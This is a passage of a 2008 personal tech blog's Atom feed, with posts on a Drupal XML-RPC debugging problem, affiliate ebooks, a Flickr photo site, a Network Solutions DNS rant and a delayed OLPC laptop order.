rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1382470994705554463</id><published>2008-07-14T07:52:00.002-07:00</published><updated>2008-07-14T08:07:03.215-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PLR'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='modules'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Document Sharing Conundrum</title><content type='html'>&lt;blockquote&gt;I have this nifty idea (or so I think)-- combine Drupal and PLR. I  have most of two modules written: a "PLR Hub"-- a central point where lists of modules are stored (like a search engine for content); and a "PLR Exchange"-- something you keep on your site to declare where/how you share your data with other sites. When in swing, you will be able to write content, post it to your site and make it available for others via the PLR Exchange. Then the PLR Hub will spider your site and get a list of available PLR Exchange articles. On the Hub, you will be able to search based on keywords, categories and other criteria. Then, you can choose an article, "pay for it" (variable payment terms are available-- pay $0.00 to $1.00 per piece), and it gets downloaded and added to your site automatically (if you also have PLR Exchange in place).&lt;br /&gt;The problem: I am having a mental block with Services (see below). Does anyone feel like helping? If so: &lt;a href="mailto:mike@dewolfe.bc.ca"&gt;please contact me&lt;/a&gt;.&lt;br /&gt;&lt;/blockquote&gt;I've been trying to build two modules that will talk to each when installed on separate sites. The functions appear to work in unit testing, but they do not talk to each other. I am not sure what I'm doing wrong. I made up a hook_xmlrpc and a hook_service function to see if that was the difference, but no luck there.&lt;br /&gt;&lt;br /&gt;Function on calling site and the function that "should" be calling the remote site:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;// basically the cron job-- the tool that updates the links and spiders for new entries&lt;br /&gt;function plrhub_update_index($site_id = -1) {&lt;br /&gt; if ($site_id == -1) {&lt;br /&gt;  $result = db_query_range('SELECT site, site_id, api_key, last_index FROM {plrhub_site} WHERE status = 1 AND UNIX_TIMESTAMP() &lt; (last_index + frequency + site_id)', 0, 10);   }  else {   $result = db_query_range('SELECT site, site_id, api_key, last_index FROM {plrhub_site} WHERE status = 1 AND site_id = '.intval($site_id), 0, 10);  }   while ($site = db_fetch_object($result)) {   $node_list = xmlrpc($site-&gt;site.'/xmlrpc.php',  'plrex.getNodeList', -1, array(), array(), -1, -1, -1, $site-&gt;last_index, $site-&gt;api_key);&lt;br /&gt;&lt;br /&gt;  watchdog('plrhub',' going to '.$site-&gt;site.'/xmlrpc.php for &lt;pre&gt;'.print_r($node_list, TRUE).'&lt;/pre&gt;');&lt;br /&gt;&lt;br /&gt;  db_query('UPDATE plrhub_site SET last_index = %d WHERE site_id = %d', time(), $site-&gt;site_id);&lt;br /&gt;  $plrhub_list = plrhub_update_list($node_list, $site-&gt;site_id);&lt;br /&gt;  plrhub_update_search($plrhub_list);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Function on remote site that would have to be called:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;function plrex_xmlrpc() {&lt;br /&gt;return array(&lt;br /&gt;  array(&lt;br /&gt;    'plrex.getNodeList',&lt;br /&gt;    'plrex_service_node_list',&lt;br /&gt;    array('int', 'array', 'array', 'int', 'int', 'int', 'int', 'string'),&lt;br /&gt;    t('Returns a list of nodes that match your criteria.'))&lt;br /&gt; );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function plrex_service() {&lt;br /&gt;return array(&lt;br /&gt;  // plrex.getNodeList&lt;br /&gt;  array(&lt;br /&gt;    '#method'   =&gt; 'plrex.getNodeList',&lt;br /&gt;    '#callback' =&gt; 'plrex_service_node_list',&lt;br /&gt;    '#args'     =&gt; array(&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'nid',&lt;br /&gt;        '#type'         =&gt; 'int',&lt;br /&gt;        '#description'  =&gt; t('A node id.')),&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'fields',&lt;br /&gt;        '#type'         =&gt; 'array',&lt;br /&gt;        '#optional'     =&gt; TRUE,&lt;br /&gt;        '#description'  =&gt; t('A list of fields to return.')),&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'tids',&lt;br /&gt;        '#type'         =&gt; 'array',&lt;br /&gt;        '#optional'     =&gt; TRUE,&lt;br /&gt;        '#description'  =&gt; t('The terms that match the taxonomy of a list')),&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'plrx.ratings',&lt;br /&gt;        '#type'         =&gt; 'int',&lt;br /&gt;        '#optional'     =&gt; TRUE,&lt;br /&gt;        '#description'  =&gt; t('Minimum ratings')),&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'plrx.downloads',&lt;br /&gt;        '#type'         =&gt; 'int',&lt;br /&gt;        '#optional'     =&gt; TRUE,&lt;br /&gt;        '#description'  =&gt; t('The maximum number of downloads')),&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'plrx.cost',&lt;br /&gt;        '#type'         =&gt; 'int',&lt;br /&gt;        '#optional'     =&gt; TRUE,&lt;br /&gt;        '#description'  =&gt; t('Maximum cost')),&lt;br /&gt;      array(&lt;br /&gt;        '#name'         =&gt; 'changed',&lt;br /&gt;        '#type'         =&gt; 'int',&lt;br /&gt;        '#optional'     =&gt; TRUE,&lt;br /&gt;        '#description'  =&gt; t('Changed date')),&lt;br /&gt;  array(&lt;br /&gt;        '#name'         =&gt; 'api_key',&lt;br /&gt;        '#type'         =&gt; 'string',&lt;br /&gt;        '#description'  =&gt; t('The API Key'))),&lt;br /&gt;    '#return'   =&gt; 'struct',&lt;br /&gt;    '#help'     =&gt; t('Returns a list of nodes that match your criteria.')),&lt;br /&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;I have a watchdog log on the remote site and there is no sign of the local site calling the remote site. When I called the "plrex_service_node_list" function in a test on the remote site (from a test page calling the function), that function worked fine in isolation. I am not getting back any errors of any sort-- just the absence of output from the remote site and it looks like it's not called in the first place.&lt;br /&gt;&lt;br /&gt;Any ideas? Any pointers? Any where I can dig for more info on what I'm missing?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1382470994705554463?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1382470994705554463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1382470994705554463' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1382470994705554463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1382470994705554463'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/07/document-sharing-conundrum.html' title='Document Sharing Conundrum'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2423858372023659553</id><published>2008-07-13T23:06:00.000-07:00</published><updated>2008-07-13T23:07:10.026-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='get rich'/><category scheme='http://www.blogger.com/atom/ns#' term='Adsense'/><category scheme='http://www.blogger.com/atom/ns#' term='affiliate'/><title type='text'>Get one of those Affiliate Books</title><content type='html'>How many &amp;quot;Earn Six Figures!&amp;quot; books are out there? I&amp;#39;ve gotten a bunch of these, now. For the ones that are free to re-distribute, I have posted them online. Feel free to check them out.  &lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=10%20Untold%20Traffic%20Secrets.pdf"&gt;10 Untold Traffic Secrets&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=2006%20Quick%20Start%20Guide%20To%20Google%20Adsense%20Profits.pdf"&gt;2006 Quick Start Guide To Google Adsense Profits&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=5%20Lessons%20to%20Make%20More%20Money.pdf"&gt;5 Lessons to Make More Money&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=63%20Killer%20Marketing%20Strategies.pdf"&gt;63 Killer Marketing Strategies&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=7%20Secrets%20to%20An%20Instant%20Traffic%20Stampede.pdf"&gt;7 Secrets to An Instant Traffic Stampede&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=A%20Quick%20And%20Easy%20Way%20To%20Make%20Money%20From%20Google%20Adsense.pdf"&gt;A Quick And Easy Way To Make Money From Google Adsense&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=AdSense%20SEO%20Made%20Easy.pdf"&gt;AdSense SEO Made Easy&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=Affiliate%20Marketing%20101.pdf"&gt;Affiliate Marketing 101&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=Auto%20Pilot%20Traffic%20Streams.pdf"&gt;Auto Pilot Traffic Streams&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=Fire%20Up%20Your%20Opt-In%20List.pdf"&gt;Fire Up Your Opt-In List&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=How%20to%20Make%20A%20Six-Figure%20Income%20Online.pdf"&gt;How to Make A Six-Figure Income Online&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=Scientific%20Advertising.pdf"&gt;Scientific Advertising&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;li&gt;&lt;a href="http://www.prefabsite.net/professionals/frame.php?url=The%20Greatest%20Money%20Making%20Secret.pdf"&gt;The Greatest Money Making Secret&lt;/a&gt;&lt;/li&gt;&lt;br /&gt; &lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2423858372023659553?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2423858372023659553/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2423858372023659553' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2423858372023659553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2423858372023659553'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/07/get-one-of-those-affiliate-books.html' title='Get one of those Affiliate Books'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-9065217836463808804</id><published>2008-05-17T10:02:00.004-07:00</published><updated>2008-05-17T10:10:31.714-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Portland Grid Project'/><category scheme='http://www.blogger.com/atom/ns#' term='Flickr'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><category scheme='http://www.blogger.com/atom/ns#' term='Victoria Grid Project'/><title type='text'>Victoria Grid Project</title><content type='html'>&lt;a href="http://www.victoriagridproject.ca/"&gt;http://www.victoriagridproject.ca/&lt;/a&gt; is live!&lt;br /&gt;A Drupal driven site that ties into the Victoria Grid Project group and photo pool on Flickr. This uses API calls to get images from Flickr rather than storing them locally on the site.&lt;br /&gt;&lt;br /&gt;Its noteworthy use of modules:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Flickr&lt;/li&gt;&lt;li&gt;Lightbox&lt;/li&gt;&lt;li&gt;Panels&lt;/li&gt;&lt;/ul&gt;I plan on adding this recipe of a photo site to my PreFab Site (&lt;a href="http://www.prefabsite.net/"&gt;www.prefabsite.net&lt;/a&gt;) installer site, so that others can take this model and use it if they wish. After the Portland Grid, the Victoria Grid, I have to think there are others that are using Flickr and also want their own site.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-9065217836463808804?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/9065217836463808804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=9065217836463808804' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/9065217836463808804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/9065217836463808804'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/05/victoria-grid-project.html' title='Victoria Grid Project'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5301110406000263181</id><published>2008-05-15T06:50:00.004-07:00</published><updated>2008-05-15T07:15:36.877-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='projects'/><category scheme='http://www.blogger.com/atom/ns#' term='change management'/><title type='text'>The Roast Turkey Special</title><content type='html'>Mr. Projekt comes into the diner.&lt;br /&gt;He looks at the menu and sees a roast turkey special. He gestures for the waiter and quizzes him on the turkey: "I've had roast turkey before. Could this be special?" &lt;br /&gt;Waiter: "Sir, we could make it a little different, I suppose."&lt;br /&gt;Mr. Projekt: "No one has done a stove-top roasted turkey. I think that would be marvellous."&lt;br /&gt;Waiter: "I suppose we could, no one does it that way."&lt;br /&gt;Mr. Projekt: "Then please do so. That's exactly how I want it!"&lt;br /&gt;The Waiter scurries into the back. There are raised voices in the kitchen. Everyone at the other tables are interupted from their turkey dinners to take notice. Through the window, Mr. Projekt can see the chef and the waiter trying to heft the turkey, flip it and saute it in an oversized skillet. Flames erupt. Saucepans crash. &lt;br /&gt;The waiter comes out flustered, straightens himself and attends to the other patrons. The chef continues to curse from the back. There is quiet. A moment later, the chef put the pan-roasted turkey dinner into the window.&lt;br /&gt;Mr. Projekt calls over the waiter: "One small change. Everything as before except for one detail: beef instead turkey, please."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5301110406000263181?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5301110406000263181/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5301110406000263181' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5301110406000263181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5301110406000263181'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/05/roast-turkey-special.html' title='The Roast Turkey Special'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1716813807002947348</id><published>2008-05-11T19:39:00.004-07:00</published><updated>2008-05-12T10:39:27.228-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dns'/><category scheme='http://www.blogger.com/atom/ns#' term='network solutions'/><title type='text'>Network Solutions Are SOA-Holes</title><content type='html'>Back in the day, Network Solutions was the only game in town. They sent out paper invoices and they charged $100/domain/year. Fast forward 10 years: their rates have dropped, they no longer send out paper. They added two new gotchas. First off, when your domain expires they reset your DNS to a domain of their choosing. Second, the new resolution links to one of their godforsaken spam ad sites. &lt;br /&gt;In the past, they would let your site drop into limbo and come back when you paid and the DNS proliferated. Because they continued to belt out the DNS, the SOA looks fine. If you were a bandwidth and processing conscious sysadmin, wouldn't you do the bare minimum with regard to fetching DNS updates? That plays into the hands of Network Solutions.&lt;br /&gt;In a spazzy and technically inept attempt to push through changes, Network Solutions resets SOA TTL to one second. That's the equivalent of spamming. Most DNS servers are configured to reject TTL values which are too low to prevent unreasonable amounts of DNS traffic on the Internet. Network Solutions is so incompetent that they are actually hindering proliferation of sites they register. In short: if you use Network Solutions, your site may be harder to find. Rather than propagate a change worldwide in 24 hrs; it will stymie change for some time.&lt;br /&gt;&lt;br /&gt;There is good news: one of Network Solutions' &lt;a href="http://blog.kbsweb.com/network-solutions-sneaky-jerks-hold-domains-hostage/"&gt;weasely practices has been challenged in a lawsuit&lt;/a&gt;. The practice of Front Running-- locking in a domain you search for in case you come back and register it later-- is now the subject of a lawsuit. After suffering their other weasely practices, I hope they choke on this lawsuit.&lt;br /&gt;Until you can join others in an appropriate lawsuit and sue Network Solutions into the first dimension, my suggestion is STAY AWAY FROM Network Solutions. For me, I'm fond of &lt;a href="http://www.tkqlhce.com/click-2950534-1099454" target="_top"&gt;Dotster&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1716813807002947348?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1716813807002947348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1716813807002947348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1716813807002947348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1716813807002947348'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/05/network-solutions-are-soa-holes.html' title='Network Solutions Are SOA-Holes'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6748458698220414833</id><published>2008-04-19T19:41:00.002-07:00</published><updated>2008-04-19T19:55:27.016-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><category scheme='http://www.blogger.com/atom/ns#' term='turnkey website'/><title type='text'>Prefab Site : The Soft Launch</title><content type='html'>About a year or so ago, I had an ephipany: people want turnkey websites-- like REALLY easy installations. If you say to them, "you have to install this driver" or "what does the .htaccess file look like?" you've failed. You need to ask them the absolute minimum of questions and get to work. Ask for a few minutes of patience and then deliver the website as close to ready as possible. &lt;br /&gt;&lt;br /&gt;Enter &lt;a href="http://www.prefabsite.net"&gt;Prefabsite.net&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;When I first got things underway, I had some complex grandiose dreams: the ultimate mash-up maker-- need a website for diner/hotel/video store? Sure. How about a blog-forum? Easy. That was a little too complex to make work without grinding the gears. If I waited until I got that right, I would NEVER launch the site-- the scope of the task combined with the amount of free time I have in a given week would have prevented my conclusion of this project. So, I went with a version 1.0: you can create pages and maintain a blog. Keep it simple, stupid. Examples of this set-up from the Alpha phase:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.jumpingmoose.ca"&gt;Jumping Moose&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.clearyourplate.com"&gt;Clear Your Plate&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.reasons2download.com"&gt;Reasons 2 Download&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.know-mart.com"&gt;Know Mart&lt;/a&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.crowdpublishing.com/vgp"&gt;Victoria Grid Project&lt;/a&gt;(temporary location)&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Version 1.1 : Choose which type of site you want to have: reviews, Flickr mash-up, catalog and many more models will be available.&lt;br /&gt;&lt;br /&gt;How is this all possible? Drupal-- I am using an optimized version of Drupal 5.7, configured for turnkey use. Yes, I know there is the Fantasico Installer version: it loads Drupal 6.1-- so the first task is to re-download a new version (6.2). After that, you have a vanilla install. There are the installer profiles for Drupal. They are good, but they not built to be turnkey. &lt;br /&gt;&lt;br /&gt;Did I mention that you check out the site? &lt;a href="http://www.prefabsite.net"&gt;Prefabsite.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6748458698220414833?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6748458698220414833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6748458698220414833' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6748458698220414833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6748458698220414833'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/04/prefab-site-soft-launch.html' title='Prefab Site : The Soft Launch'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7796606511163100910</id><published>2008-04-04T14:29:00.001-07:00</published><updated>2008-04-04T14:31:41.186-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='server rooms'/><title type='text'>Happy Friday!</title><content type='html'>&lt;object height="355" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/bymmMarHclU&amp;amp;hl=en"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/bymmMarHclU&amp;amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;that's alot more fun than this alternative:&lt;br /&gt;&lt;embed style="width: 400px; height: 326px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=-2398916025034509084&amp;amp;hl=en" flashvars=""&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7796606511163100910?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7796606511163100910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7796606511163100910' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7796606511163100910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7796606511163100910'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/04/happy-friday.html' title='Happy Friday!'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6793455275035521918</id><published>2008-03-13T16:57:00.002-07:00</published><updated>2008-03-13T17:08:18.923-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Adwords'/><category scheme='http://www.blogger.com/atom/ns#' term='pwned'/><title type='text'>Get Ready For Google Adwords</title><content type='html'>I was surfing around and came to page with ads for "contentfinder.com." It piqued my curiosity. So, I clicked on the ad. I got to :&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;h3&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;h3&gt;Error Occurred While Processing Request&lt;/h3&gt;&lt;p&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;h4&gt;Error Diagnostic Information&lt;/h4&gt;&lt;p&gt;An error occurred while attempting to establish a connection to the server.&lt;/p&gt;&lt;p&gt; The most likely cause of this problem is that the server is not currently running. Verify that the server is running and restart it if necessary. &lt;/p&gt;&lt;p&gt;Unix error number 2 occurred: No such file or directory&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/blockquote&gt;I tried a similar url that should have gone to the same site. Same error. The Google AdWords campaign will push you to the site you pay for, regardless of whether or not its working.&lt;br /&gt;&lt;br /&gt;The lesson here:&lt;br /&gt;#2) Get AdWords&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;#1) Make sure your site is ready to receive traffic.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6793455275035521918?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6793455275035521918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6793455275035521918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6793455275035521918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6793455275035521918'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/03/get-ready-for-google-adwords.html' title='Get Ready For Google Adwords'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3214131327936811569</id><published>2008-01-21T12:18:00.000-08:00</published><updated>2008-01-21T12:34:32.011-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='poverty'/><category scheme='http://www.blogger.com/atom/ns#' term='OLPC'/><category scheme='http://www.blogger.com/atom/ns#' term='fraud'/><title type='text'>OLPC -- The Dog Ate My Laptop</title><content type='html'>I tried to get through to OLPC again today. I tried the &lt;span style="font-weight: bold;"&gt;1-800-201-7144&lt;/span&gt; number and got through. Interestingly: they jump you directly to the "problem" line part of the decision tree. Obviously they know that the only reason people phone them is to ask they they've been scammed. Dial and you immediately get their Muzak. ah.... Seventies-dining-porn music.&lt;br /&gt;After 45 minutes on hold, I got through to someone thoroughly confused. She did confirm my name (good, after 45 min. I forgot my name). Where beforce I got a "FedEx tracking number" that wasn't a number for tracking FedEx shipments,  this time I got a clarification-- they aren't giving out FedEx tracking numbers.&lt;br /&gt;I asked when my laptop would be shipped: they didn't know.&lt;br /&gt;I asked why there was a delay:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;OLPC scammer&lt;/span&gt;: "It because we are having a hard time getting laptops to Canada."&lt;br /&gt; &lt;span style="font-style: italic;"&gt;Scammed OLPC  victim&lt;/span&gt;: "So, what you're saying is that laptop.org can only ship to the US?" (ironic, as these laptops are intended to benefit the world at large)&lt;br /&gt;&lt;span style="font-style: italic;"&gt;OLPC scammer&lt;/span&gt;: "It's because of the Customs. They are making a delay."&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Scammed OLPC  victim&lt;/span&gt;: "Customs would only cause a delay after the laptop was shipped. Are you saying you've 